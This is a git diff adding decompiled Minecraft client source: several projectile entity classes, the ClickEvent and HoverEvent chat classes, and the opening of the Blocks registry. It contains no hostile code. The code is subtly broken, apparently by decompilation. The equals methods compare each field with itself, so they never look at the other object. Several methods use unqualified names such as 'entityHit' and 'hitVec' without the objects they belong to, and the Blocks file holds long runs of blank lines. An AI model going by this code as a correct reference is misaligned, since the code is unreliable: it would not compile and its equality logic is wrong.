+      tagCompound.setTag("Potion", potionDamage.writeToNBT(new NBTTagCompound()));
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/projectile/EntitySmallFireball.java b/src/minecraft/net/minecraft/entity/projectile/EntitySmallFireball.java
new file mode 100644
index 0000000..829bd5a
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/projectile/EntitySmallFireball.java
@@ -0,0 +1,95 @@
+package net.minecraft.entity.projectile;
+
+import net.minecraft.block.BlockFire;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.world.World;
+
+public class EntitySmallFireball extends EntityFireball
+{
+  private static final String __OBFID = "CL_00001721";
+  
+  public EntitySmallFireball(World worldIn)
+  {
+    super(worldIn);
+    setSize(0.3125F, 0.3125F);
+  }
+  
+  public EntitySmallFireball(World worldIn, EntityLivingBase p_i1771_2_, double p_i1771_3_, double p_i1771_5_, double p_i1771_7_)
+  {
+    super(worldIn, p_i1771_2_, p_i1771_3_, p_i1771_5_, p_i1771_7_);
+    setSize(0.3125F, 0.3125F);
+  }
+  
+  public EntitySmallFireball(World worldIn, double p_i1772_2_, double p_i1772_4_, double p_i1772_6_, double p_i1772_8_, double p_i1772_10_, double p_i1772_12_)
+  {
+    super(worldIn, p_i1772_2_, p_i1772_4_, p_i1772_6_, p_i1772_8_, p_i1772_10_, p_i1772_12_);
+    setSize(0.3125F, 0.3125F);
+  }
+  
+
+
+
+  protected void onImpact(MovingObjectPosition p_70227_1_)
+  {
+    if (!worldObj.isRemote)
+    {
+
+
+      if (entityHit != null)
+      {
+        boolean var2 = entityHit.attackEntityFrom(DamageSource.causeFireballDamage(this, shootingEntity), 5.0F);
+        
+        if (var2)
+        {
+          func_174815_a(shootingEntity, entityHit);
+          
+          if (!entityHit.isImmuneToFire())
+          {
+            entityHit.setFire(5);
+          }
+        }
+      }
+      else
+      {
+        boolean var2 = true;
+        
+        if ((shootingEntity != null) && ((shootingEntity instanceof net.minecraft.entity.EntityLiving)))
+        {
+          var2 = worldObj.getGameRules().getGameRuleBooleanValue("mobGriefing");
+        }
+        
+        if (var2)
+        {
+          BlockPos var3 = p_70227_1_.func_178782_a().offset(field_178784_b);
+          
+          if (worldObj.isAirBlock(var3))
+          {
+            worldObj.setBlockState(var3, net.minecraft.init.Blocks.fire.getDefaultState());
+          }
+        }
+      }
+      
+      setDead();
+    }
+  }
+  
+
+
+
+  public boolean canBeCollidedWith()
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/projectile/EntitySnowball.java b/src/minecraft/net/minecraft/entity/projectile/EntitySnowball.java
new file mode 100644
index 0000000..9741b0a
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/projectile/EntitySnowball.java
@@ -0,0 +1,56 @@
+package net.minecraft.entity.projectile;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.world.World;
+
+public class EntitySnowball extends EntityThrowable
+{
+  private static final String __OBFID = "CL_00001722";
+  
+  public EntitySnowball(World worldIn)
+  {
+    super(worldIn);
+  }
+  
+  public EntitySnowball(World worldIn, EntityLivingBase p_i1774_2_)
+  {
+    super(worldIn, p_i1774_2_);
+  }
+  
+  public EntitySnowball(World worldIn, double p_i1775_2_, double p_i1775_4_, double p_i1775_6_)
+  {
+    super(worldIn, p_i1775_2_, p_i1775_4_, p_i1775_6_);
+  }
+  
+
+
+
+  protected void onImpact(MovingObjectPosition p_70184_1_)
+  {
+    if (entityHit != null)
+    {
+      byte var2 = 0;
+      
+      if ((entityHit instanceof net.minecraft.entity.monster.EntityBlaze))
+      {
+        var2 = 3;
+      }
+      
+      entityHit.attackEntityFrom(DamageSource.causeThrownDamage(this, getThrower()), var2);
+    }
+    
+    for (int var3 = 0; var3 < 8; var3++)
+    {
+      worldObj.spawnParticle(EnumParticleTypes.SNOWBALL, posX, posY, posZ, 0.0D, 0.0D, 0.0D, new int[0]);
+    }
+    
+    if (!worldObj.isRemote)
+    {
+      setDead();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/projectile/EntityThrowable.java b/src/minecraft/net/minecraft/entity/projectile/EntityThrowable.java
new file mode 100644
index 0000000..1989560
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/projectile/EntityThrowable.java
@@ -0,0 +1,351 @@
+package net.minecraft.entity.projectile;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.util.RegistryNamespacedDefaultedByKey;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+
+public abstract class EntityThrowable extends Entity implements net.minecraft.entity.IProjectile
+{
+  private int xTile = -1;
+  private int yTile = -1;
+  private int zTile = -1;
+  
+  private Block field_174853_f;
+  
+  protected boolean field_174854_a;
+  public int throwableShake;
+  private EntityLivingBase thrower;
+  private String throwerName;
+  private int ticksInGround;
+  private int ticksInAir;
+  private static final String __OBFID = "CL_00001723";
+  
+  public EntityThrowable(World worldIn)
+  {
+    super(worldIn);
+    setSize(0.25F, 0.25F);
+  }
+  
+
+
+  protected void entityInit() {}
+  
+
+
+  public boolean isInRangeToRenderDist(double distance)
+  {
+    double var3 = getEntityBoundingBox().getAverageEdgeLength() * 4.0D;
+    var3 *= 64.0D;
+    return distance < var3 * var3;
+  }
+  
+  public EntityThrowable(World worldIn, EntityLivingBase p_i1777_2_)
+  {
+    super(worldIn);
+    thrower = p_i1777_2_;
+    setSize(0.25F, 0.25F);
+    setLocationAndAngles(posX, posY + p_i1777_2_.getEyeHeight(), posZ, rotationYaw, rotationPitch);
+    posX -= MathHelper.cos(rotationYaw / 180.0F * 3.1415927F) * 0.16F;
+    posY -= 0.10000000149011612D;
+    posZ -= MathHelper.sin(rotationYaw / 180.0F * 3.1415927F) * 0.16F;
+    setPosition(posX, posY, posZ);
+    float var3 = 0.4F;
+    motionX = (-MathHelper.sin(rotationYaw / 180.0F * 3.1415927F) * MathHelper.cos(rotationPitch / 180.0F * 3.1415927F) * var3);
+    motionZ = (MathHelper.cos(rotationYaw / 180.0F * 3.1415927F) * MathHelper.cos(rotationPitch / 180.0F * 3.1415927F) * var3);
+    motionY = (-MathHelper.sin((rotationPitch + func_70183_g()) / 180.0F * 3.1415927F) * var3);
+    setThrowableHeading(motionX, motionY, motionZ, func_70182_d(), 1.0F);
+  }
+  
+  public EntityThrowable(World worldIn, double p_i1778_2_, double p_i1778_4_, double p_i1778_6_)
+  {
+    super(worldIn);
+    ticksInGround = 0;
+    setSize(0.25F, 0.25F);
+    setPosition(p_i1778_2_, p_i1778_4_, p_i1778_6_);
+  }
+  
+  protected float func_70182_d()
+  {
+    return 1.5F;
+  }
+  
+  protected float func_70183_g()
+  {
+    return 0.0F;
+  }
+  
+
+
+
+  public void setThrowableHeading(double p_70186_1_, double p_70186_3_, double p_70186_5_, float p_70186_7_, float p_70186_8_)
+  {
+    float var9 = MathHelper.sqrt_double(p_70186_1_ * p_70186_1_ + p_70186_3_ * p_70186_3_ + p_70186_5_ * p_70186_5_);
+    p_70186_1_ /= var9;
+    p_70186_3_ /= var9;
+    p_70186_5_ /= var9;
+    p_70186_1_ += rand.nextGaussian() * 0.007499999832361937D * p_70186_8_;
+    p_70186_3_ += rand.nextGaussian() * 0.007499999832361937D * p_70186_8_;
+    p_70186_5_ += rand.nextGaussian() * 0.007499999832361937D * p_70186_8_;
+    p_70186_1_ *= p_70186_7_;
+    p_70186_3_ *= p_70186_7_;
+    p_70186_5_ *= p_70186_7_;
+    motionX = p_70186_1_;
+    motionY = p_70186_3_;
+    motionZ = p_70186_5_;
+    float var10 = MathHelper.sqrt_double(p_70186_1_ * p_70186_1_ + p_70186_5_ * p_70186_5_);
+    prevRotationYaw = (this.rotationYaw = (float)(Math.atan2(p_70186_1_, p_70186_5_) * 180.0D / 3.141592653589793D));
+    prevRotationPitch = (this.rotationPitch = (float)(Math.atan2(p_70186_3_, var10) * 180.0D / 3.141592653589793D));
+    ticksInGround = 0;
+  }
+  
+
+
+
+  public void setVelocity(double x, double y, double z)
+  {
+    motionX = x;
+    motionY = y;
+    motionZ = z;
+    
+    if ((prevRotationPitch == 0.0F) && (prevRotationYaw == 0.0F))
+    {
+      float var7 = MathHelper.sqrt_double(x * x + z * z);
+      prevRotationYaw = (this.rotationYaw = (float)(Math.atan2(x, z) * 180.0D / 3.141592653589793D));
+      prevRotationPitch = (this.rotationPitch = (float)(Math.atan2(y, var7) * 180.0D / 3.141592653589793D));
+    }
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    lastTickPosX = posX;
+    lastTickPosY = posY;
+    lastTickPosZ = posZ;
+    super.onUpdate();
+    
+    if (throwableShake > 0)
+    {
+      throwableShake -= 1;
+    }
+    
+    if (field_174854_a)
+    {
+      if (worldObj.getBlockState(new net.minecraft.util.BlockPos(xTile, yTile, zTile)).getBlock() == field_174853_f)
+      {
+        ticksInGround += 1;
+        
+        if (ticksInGround == 1200)
+        {
+          setDead();
+        }
+        
+        return;
+      }
+      
+      field_174854_a = false;
+      motionX *= rand.nextFloat() * 0.2F;
+      motionY *= rand.nextFloat() * 0.2F;
+      motionZ *= rand.nextFloat() * 0.2F;
+      ticksInGround = 0;
+      ticksInAir = 0;
+    }
+    else
+    {
+      ticksInAir += 1;
+    }
+    
+    Vec3 var1 = new Vec3(posX, posY, posZ);
+    Vec3 var2 = new Vec3(posX + motionX, posY + motionY, posZ + motionZ);
+    MovingObjectPosition var3 = worldObj.rayTraceBlocks(var1, var2);
+    var1 = new Vec3(posX, posY, posZ);
+    var2 = new Vec3(posX + motionX, posY + motionY, posZ + motionZ);
+    
+    if (var3 != null)
+    {
+      var2 = new Vec3(hitVec.xCoord, hitVec.yCoord, hitVec.zCoord);
+    }
+    
+    if (!worldObj.isRemote)
+    {
+      Entity var4 = null;
+      List var5 = worldObj.getEntitiesWithinAABBExcludingEntity(this, getEntityBoundingBox().addCoord(motionX, motionY, motionZ).expand(1.0D, 1.0D, 1.0D));
+      double var6 = 0.0D;
+      EntityLivingBase var8 = getThrower();
+      
+      for (int var9 = 0; var9 < var5.size(); var9++)
+      {
+        Entity var10 = (Entity)var5.get(var9);
+        
+        if ((var10.canBeCollidedWith()) && ((var10 != var8) || (ticksInAir >= 5)))
+        {
+          float var11 = 0.3F;
+          AxisAlignedBB var12 = var10.getEntityBoundingBox().expand(var11, var11, var11);
+          MovingObjectPosition var13 = var12.calculateIntercept(var1, var2);
+          
+          if (var13 != null)
+          {
+            double var14 = var1.distanceTo(hitVec);
+            
+            if ((var14 < var6) || (var6 == 0.0D))
+            {
+              var4 = var10;
+              var6 = var14;
+            }
+          }
+        }
+      }
+      
+      if (var4 != null)
+      {
+        var3 = new MovingObjectPosition(var4);
+      }
+    }
+    
+    if (var3 != null)
+    {
+      if ((typeOfHit == net.minecraft.util.MovingObjectPosition.MovingObjectType.BLOCK) && (worldObj.getBlockState(var3.func_178782_a()).getBlock() == net.minecraft.init.Blocks.portal))
+      {
+        setInPortal();
+      }
+      else
+      {
+        onImpact(var3);
+      }
+    }
+    
+    posX += motionX;
+    posY += motionY;
+    posZ += motionZ;
+    float var16 = MathHelper.sqrt_double(motionX * motionX + motionZ * motionZ);
+    rotationYaw = ((float)(Math.atan2(motionX, motionZ) * 180.0D / 3.141592653589793D));
+    
+    for (rotationPitch = ((float)(Math.atan2(motionY, var16) * 180.0D / 3.141592653589793D)); rotationPitch - prevRotationPitch < -180.0F; prevRotationPitch -= 360.0F) {}
+    
+
+
+
+    while (rotationPitch - prevRotationPitch >= 180.0F)
+    {
+      prevRotationPitch += 360.0F;
+    }
+    
+    while (rotationYaw - prevRotationYaw < -180.0F)
+    {
+      prevRotationYaw -= 360.0F;
+    }
+    
+    while (rotationYaw - prevRotationYaw >= 180.0F)
+    {
+      prevRotationYaw += 360.0F;
+    }
+    
+    rotationPitch = (prevRotationPitch + (rotationPitch - prevRotationPitch) * 0.2F);
+    rotationYaw = (prevRotationYaw + (rotationYaw - prevRotationYaw) * 0.2F);
+    float var17 = 0.99F;
+    float var18 = getGravityVelocity();
+    
+    if (isInWater())
+    {
+      for (int var7 = 0; var7 < 4; var7++)
+      {
+        float var19 = 0.25F;
+        worldObj.spawnParticle(EnumParticleTypes.WATER_BUBBLE, posX - motionX * var19, posY - motionY * var19, posZ - motionZ * var19, motionX, motionY, motionZ, new int[0]);
+      }
+      
+      var17 = 0.8F;
+    }
+    
+    motionX *= var17;
+    motionY *= var17;
+    motionZ *= var17;
+    motionY -= var18;
+    setPosition(posX, posY, posZ);
+  }
+  
+
+
+
+  protected float getGravityVelocity()
+  {
+    return 0.03F;
+  }
+  
+
+
+
+  protected abstract void onImpact(MovingObjectPosition paramMovingObjectPosition);
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    tagCompound.setShort("xTile", (short)xTile);
+    tagCompound.setShort("yTile", (short)yTile);
+    tagCompound.setShort("zTile", (short)zTile);
+    ResourceLocation var2 = (ResourceLocation)Block.blockRegistry.getNameForObject(field_174853_f);
+    tagCompound.setString("inTile", var2 == null ? "" : var2.toString());
+    tagCompound.setByte("shake", (byte)throwableShake);
+    tagCompound.setByte("inGround", (byte)(field_174854_a ? 1 : 0));
+    
+    if (((throwerName == null) || (throwerName.length() == 0)) && ((thrower instanceof EntityPlayer)))
+    {
+      throwerName = thrower.getName();
+    }
+    
+    tagCompound.setString("ownerName", throwerName == null ? "" : throwerName);
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    xTile = tagCompund.getShort("xTile");
+    yTile = tagCompund.getShort("yTile");
+    zTile = tagCompund.getShort("zTile");
+    
+    if (tagCompund.hasKey("inTile", 8))
+    {
+      field_174853_f = Block.getBlockFromName(tagCompund.getString("inTile"));
+    }
+    else
+    {
+      field_174853_f = Block.getBlockById(tagCompund.getByte("inTile") & 0xFF);
+    }
+    
+    throwableShake = (tagCompund.getByte("shake") & 0xFF);
+    field_174854_a = (tagCompund.getByte("inGround") == 1);
+    throwerName = tagCompund.getString("ownerName");
+    
+    if ((throwerName != null) && (throwerName.length() == 0))
+    {
+      throwerName = null;
+    }
+  }
+  
+  public EntityLivingBase getThrower()
+  {
+    if ((thrower == null) && (throwerName != null) && (throwerName.length() > 0))
+    {
+      thrower = worldObj.getPlayerEntityByName(throwerName);
+    }
+    
+    return thrower;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/projectile/EntityWitherSkull.java b/src/minecraft/net/minecraft/entity/projectile/EntityWitherSkull.java
new file mode 100644
index 0000000..497cee4
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/projectile/EntityWitherSkull.java
@@ -0,0 +1,157 @@
+package net.minecraft.entity.projectile;
+
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.world.EnumDifficulty;
+import net.minecraft.world.Explosion;
+import net.minecraft.world.World;
+
+public class EntityWitherSkull extends EntityFireball
+{
+  private static final String __OBFID = "CL_00001728";
+  
+  public EntityWitherSkull(World worldIn)
+  {
+    super(worldIn);
+    setSize(0.3125F, 0.3125F);
+  }
+  
+  public EntityWitherSkull(World worldIn, EntityLivingBase p_i1794_2_, double p_i1794_3_, double p_i1794_5_, double p_i1794_7_)
+  {
+    super(worldIn, p_i1794_2_, p_i1794_3_, p_i1794_5_, p_i1794_7_);
+    setSize(0.3125F, 0.3125F);
+  }
+  
+
+
+
+  protected float getMotionFactor()
+  {
+    return isInvulnerable() ? 0.73F : super.getMotionFactor();
+  }
+  
+  public EntityWitherSkull(World worldIn, double p_i1795_2_, double p_i1795_4_, double p_i1795_6_, double p_i1795_8_, double p_i1795_10_, double p_i1795_12_)
+  {
+    super(worldIn, p_i1795_2_, p_i1795_4_, p_i1795_6_, p_i1795_8_, p_i1795_10_, p_i1795_12_);
+    setSize(0.3125F, 0.3125F);
+  }
+  
+
+
+
+  public boolean isBurning()
+  {
+    return false;
+  }
+  
+
+
+
+  public float getExplosionResistance(Explosion p_180428_1_, World worldIn, BlockPos p_180428_3_, IBlockState p_180428_4_)
+  {
+    float var5 = super.getExplosionResistance(p_180428_1_, worldIn, p_180428_3_, p_180428_4_);
+    
+    if ((isInvulnerable()) && (p_180428_4_.getBlock() != Blocks.bedrock) && (p_180428_4_.getBlock() != Blocks.end_portal) && (p_180428_4_.getBlock() != Blocks.end_portal_frame) && (p_180428_4_.getBlock() != Blocks.command_block))
+    {
+      var5 = Math.min(0.8F, var5);
+    }
+    
+    return var5;
+  }
+  
+
+
+
+  protected void onImpact(MovingObjectPosition p_70227_1_)
+  {
+    if (!worldObj.isRemote)
+    {
+      if (entityHit != null)
+      {
+        if (shootingEntity != null)
+        {
+          if (entityHit.attackEntityFrom(DamageSource.causeMobDamage(shootingEntity), 8.0F))
+          {
+            if (!entityHit.isEntityAlive())
+            {
+              shootingEntity.heal(5.0F);
+            }
+            else
+            {
+              func_174815_a(shootingEntity, entityHit);
+            }
+            
+          }
+        }
+        else {
+          entityHit.attackEntityFrom(DamageSource.magic, 5.0F);
+        }
+        
+        if ((entityHit instanceof EntityLivingBase))
+        {
+          byte var2 = 0;
+          
+          if (worldObj.getDifficulty() == EnumDifficulty.NORMAL)
+          {
+            var2 = 10;
+          }
+          else if (worldObj.getDifficulty() == EnumDifficulty.HARD)
+          {
+            var2 = 40;
+          }
+          
+          if (var2 > 0)
+          {
+            ((EntityLivingBase)entityHit).addPotionEffect(new net.minecraft.potion.PotionEffect(witherid, 20 * var2, 1));
+          }
+        }
+      }
+      
+      worldObj.newExplosion(this, posX, posY, posZ, 1.0F, false, worldObj.getGameRules().getGameRuleBooleanValue("mobGriefing"));
+      setDead();
+    }
+  }
+  
+
+
+
+  public boolean canBeCollidedWith()
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    return false;
+  }
+  
+  protected void entityInit()
+  {
+    dataWatcher.addObject(10, Byte.valueOf((byte)0));
+  }
+  
+
+
+
+  public boolean isInvulnerable()
+  {
+    return dataWatcher.getWatchableObjectByte(10) == 1;
+  }
+  
+
+
+
+  public void setInvulnerable(boolean p_82343_1_)
+  {
+    dataWatcher.updateObject(10, Byte.valueOf((byte)(p_82343_1_ ? 1 : 0)));
+  }
+}
diff --git a/src/minecraft/net/minecraft/event/ClickEvent.java b/src/minecraft/net/minecraft/event/ClickEvent.java
new file mode 100644
index 0000000..aa5ab82
--- /dev/null
+++ b/src/minecraft/net/minecraft/event/ClickEvent.java
@@ -0,0 +1,161 @@
+package net.minecraft.event;
+
+import com.google.common.collect.Maps;
+import java.util.Map;
+
+public class ClickEvent
+{
+  private final Action action;
+  private final String value;
+  private static final String __OBFID = "CL_00001260";
+  
+  public ClickEvent(Action p_i45156_1_, String p_i45156_2_)
+  {
+    action = p_i45156_1_;
+    value = p_i45156_2_;
+  }
+  
+
+
+
+  public Action getAction()
+  {
+    return action;
+  }
+  
+
+
+
+
+  public String getValue()
+  {
+    return value;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (this == p_equals_1_)
+    {
+      return true;
+    }
+    if ((p_equals_1_ != null) && (getClass() == p_equals_1_.getClass()))
+    {
+      ClickEvent var2 = (ClickEvent)p_equals_1_;
+      
+      if (action != action)
+      {
+        return false;
+      }
+      
+
+      if (value != null)
+      {
+        if (!value.equals(value))
+        {
+          return false;
+        }
+      }
+      else if (value != null)
+      {
+        return false;
+      }
+      
+      return true;
+    }
+    
+
+
+    return false;
+  }
+  
+
+  public String toString()
+  {
+    return "ClickEvent{action=" + action + ", value='" + value + '\'' + '}';
+  }
+  
+  public int hashCode()
+  {
+    int var1 = action.hashCode();
+    var1 = 31 * var1 + (value != null ? value.hashCode() : 0);
+    return var1;
+  }
+  
+  public static enum Action
+  {
+    OPEN_URL("OPEN_URL", 0, "open_url", true), 
+    OPEN_FILE("OPEN_FILE", 1, "open_file", false), 
+    RUN_COMMAND("RUN_COMMAND", 2, "run_command", true), 
+    TWITCH_USER_INFO("TWITCH_USER_INFO", 3, "twitch_user_info", false), 
+    SUGGEST_COMMAND("SUGGEST_COMMAND", 4, "suggest_command", true), 
+    CHANGE_PAGE("CHANGE_PAGE", 5, "change_page", true);
+    
+    private static final Map nameMapping;
+    private final boolean allowedInChat;
+    private final String canonicalName;
+    private static final Action[] $VALUES;
+    private static final String __OBFID = "CL_00001261";
+    
+    private Action(String p_i45155_1_, int p_i45155_2_, String p_i45155_3_, boolean p_i45155_4_)
+    {
+      canonicalName = p_i45155_3_;
+      allowedInChat = p_i45155_4_;
+    }
+    
+    public boolean shouldAllowInChat()
+    {
+      return allowedInChat;
+    }
+    
+    public String getCanonicalName()
+    {
+      return canonicalName;
+    }
+    
+    public static Action getValueByCanonicalName(String p_150672_0_)
+    {
+      return (Action)nameMapping.get(p_150672_0_);
+    }
+    
+    static
+    {
+      nameMapping = Maps.newHashMap();
+      
+
+
+      $VALUES = new Action[] { OPEN_URL, OPEN_FILE, RUN_COMMAND, TWITCH_USER_INFO, SUGGEST_COMMAND, CHANGE_PAGE };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      Action[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        Action var3 = var0[var2];
+        nameMapping.put(var3.getCanonicalName(), var3);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/event/HoverEvent.java b/src/minecraft/net/minecraft/event/HoverEvent.java
new file mode 100644
index 0000000..8866661
--- /dev/null
+++ b/src/minecraft/net/minecraft/event/HoverEvent.java
@@ -0,0 +1,160 @@
+package net.minecraft.event;
+
+import com.google.common.collect.Maps;
+import java.util.Map;
+import net.minecraft.util.IChatComponent;
+
+public class HoverEvent
+{
+  private final Action action;
+  private final IChatComponent value;
+  private static final String __OBFID = "CL_00001264";
+  
+  public HoverEvent(Action p_i45158_1_, IChatComponent p_i45158_2_)
+  {
+    action = p_i45158_1_;
+    value = p_i45158_2_;
+  }
+  
+
+
+
+  public Action getAction()
+  {
+    return action;
+  }
+  
+
+
+
+
+  public IChatComponent getValue()
+  {
+    return value;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (this == p_equals_1_)
+    {
+      return true;
+    }
+    if ((p_equals_1_ != null) && (getClass() == p_equals_1_.getClass()))
+    {
+      HoverEvent var2 = (HoverEvent)p_equals_1_;
+      
+      if (action != action)
+      {
+        return false;
+      }
+      
+
+      if (value != null)
+      {
+        if (!value.equals(value))
+        {
+          return false;
+        }
+      }
+      else if (value != null)
+      {
+        return false;
+      }
+      
+      return true;
+    }
+    
+
+
+    return false;
+  }
+  
+
+  public String toString()
+  {
+    return "HoverEvent{action=" + action + ", value='" + value + '\'' + '}';
+  }
+  
+  public int hashCode()
+  {
+    int var1 = action.hashCode();
+    var1 = 31 * var1 + (value != null ? value.hashCode() : 0);
+    return var1;
+  }
+  
+  public static enum Action
+  {
+    SHOW_TEXT("SHOW_TEXT", 0, "show_text", true), 
+    SHOW_ACHIEVEMENT("SHOW_ACHIEVEMENT", 1, "show_achievement", true), 
+    SHOW_ITEM("SHOW_ITEM", 2, "show_item", true), 
+    SHOW_ENTITY("SHOW_ENTITY", 3, "show_entity", true);
+    
+    private static final Map nameMapping;
+    private final boolean allowedInChat;
+    private final String canonicalName;
+    private static final Action[] $VALUES;
+    private static final String __OBFID = "CL_00001265";
+    
+    private Action(String p_i45157_1_, int p_i45157_2_, String p_i45157_3_, boolean p_i45157_4_)
+    {
+      canonicalName = p_i45157_3_;
+      allowedInChat = p_i45157_4_;
+    }
+    
+    public boolean shouldAllowInChat()
+    {
+      return allowedInChat;
+    }
+    
+    public String getCanonicalName()
+    {
+      return canonicalName;
+    }
+    
+    public static Action getValueByCanonicalName(String p_150684_0_)
+    {
+      return (Action)nameMapping.get(p_150684_0_);
+    }
+    
+    static
+    {
+      nameMapping = Maps.newHashMap();
+      
+
+
+      $VALUES = new Action[] { SHOW_TEXT, SHOW_ACHIEVEMENT, SHOW_ITEM, SHOW_ENTITY };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      Action[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        Action var3 = var0[var2];
+        nameMapping.put(var3.getCanonicalName(), var3);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/init/Blocks.java b/src/minecraft/net/minecraft/init/Blocks.java
new file mode 100644
index 0000000..9c06bea
--- /dev/null
+++ b/src/minecraft/net/minecraft/init/Blocks.java
@@ -0,0 +1,454 @@
+package net.minecraft.init;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockBeacon;
+import net.minecraft.block.BlockBush;
+import net.minecraft.block.BlockCactus;
+import net.minecraft.block.BlockCauldron;
+import net.minecraft.block.BlockChest;
+import net.minecraft.block.BlockDaylightDetector;
+import net.minecraft.block.BlockDeadBush;
+import net.minecraft.block.BlockDoublePlant;
+import net.minecraft.block.BlockDynamicLiquid;
+import net.minecraft.block.BlockFire;
+import net.minecraft.block.BlockFlower;
+import net.minecraft.block.BlockGrass;
+import net.minecraft.block.BlockHopper;
+import net.minecraft.block.BlockLeaves;
+import net.minecraft.block.BlockMycelium;
+import net.minecraft.block.BlockPistonBase;
+import net.minecraft.block.BlockPistonExtension;
+import net.minecraft.block.BlockPistonMoving;
+import net.minecraft.block.BlockPortal;
+import net.minecraft.block.BlockRedstoneComparator;
+import net.minecraft.block.BlockRedstoneRepeater;
+import net.minecraft.block.BlockRedstoneWire;
+import net.minecraft.block.BlockReed;
+import net.minecraft.block.BlockSand;
+import net.minecraft.block.BlockSkull;
+import net.minecraft.block.BlockSlab;
+import net.minecraft.block.BlockStainedGlass;
+import net.minecraft.block.BlockStainedGlassPane;
+import net.minecraft.block.BlockStaticLiquid;
+import net.minecraft.block.BlockTallGrass;
+import net.minecraft.block.BlockTripWireHook;
+import net.minecraft.util.RegistryNamespacedDefaultedByKey;
+import net.minecraft.util.ResourceLocation;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Blocks
+{
+  private static Block getRegisteredBlock(String p_180383_0_) { return (Block)Block.blockRegistry.getObject(new ResourceLocation(p_180383_0_)); }
+  
+  public Blocks() {}
+  
+  static {
+    if (!Bootstrap.isRegistered())
+    {
+      throw new RuntimeException("Accessed Blocks before Bootstrap!");
+    }
+  }
+  
+  public static final Block air = getRegisteredBlock("air");
+  public static final Block stone = getRegisteredBlock("stone");
+  public static final BlockGrass grass = (BlockGrass)getRegisteredBlock("grass");
+  public static final Block dirt = getRegisteredBlock("dirt");
+  public static final Block cobblestone = getRegisteredBlock("cobblestone");
+  public static final Block planks = getRegisteredBlock("planks");
+  public static final Block sapling = getRegisteredBlock("sapling");
+  public static final Block bedrock = getRegisteredBlock("bedrock");
+  public static final BlockDynamicLiquid flowing_water = (BlockDynamicLiquid)getRegisteredBlock("flowing_water");
+  public static final BlockStaticLiquid water = (BlockStaticLiquid)getRegisteredBlock("water");
+  public static final BlockDynamicLiquid flowing_lava = (BlockDynamicLiquid)getRegisteredBlock("flowing_lava");
+  public static final BlockStaticLiquid lava = (BlockStaticLiquid)getRegisteredBlock("lava");
+  public static final BlockSand sand = (BlockSand)getRegisteredBlock("sand");
+  public static final Block gravel = getRegisteredBlock("gravel");
+  public static final Block gold_ore = getRegisteredBlock("gold_ore");
+  public static final Block iron_ore = getRegisteredBlock("iron_ore");
+  public static final Block coal_ore = getRegisteredBlock("coal_ore");
+  public static final Block log = getRegisteredBlock("log");
+  public static final Block log2 = getRegisteredBlock("log2");
+  public static final BlockLeaves leaves = (BlockLeaves)getRegisteredBlock("leaves");
+  public static final BlockLeaves leaves2 = (BlockLeaves)getRegisteredBlock("leaves2");
+  public static final Block sponge = getRegisteredBlock("sponge");
+  public static final Block glass = getRegisteredBlock("glass");
+  public static final Block lapis_ore = getRegisteredBlock("lapis_ore");
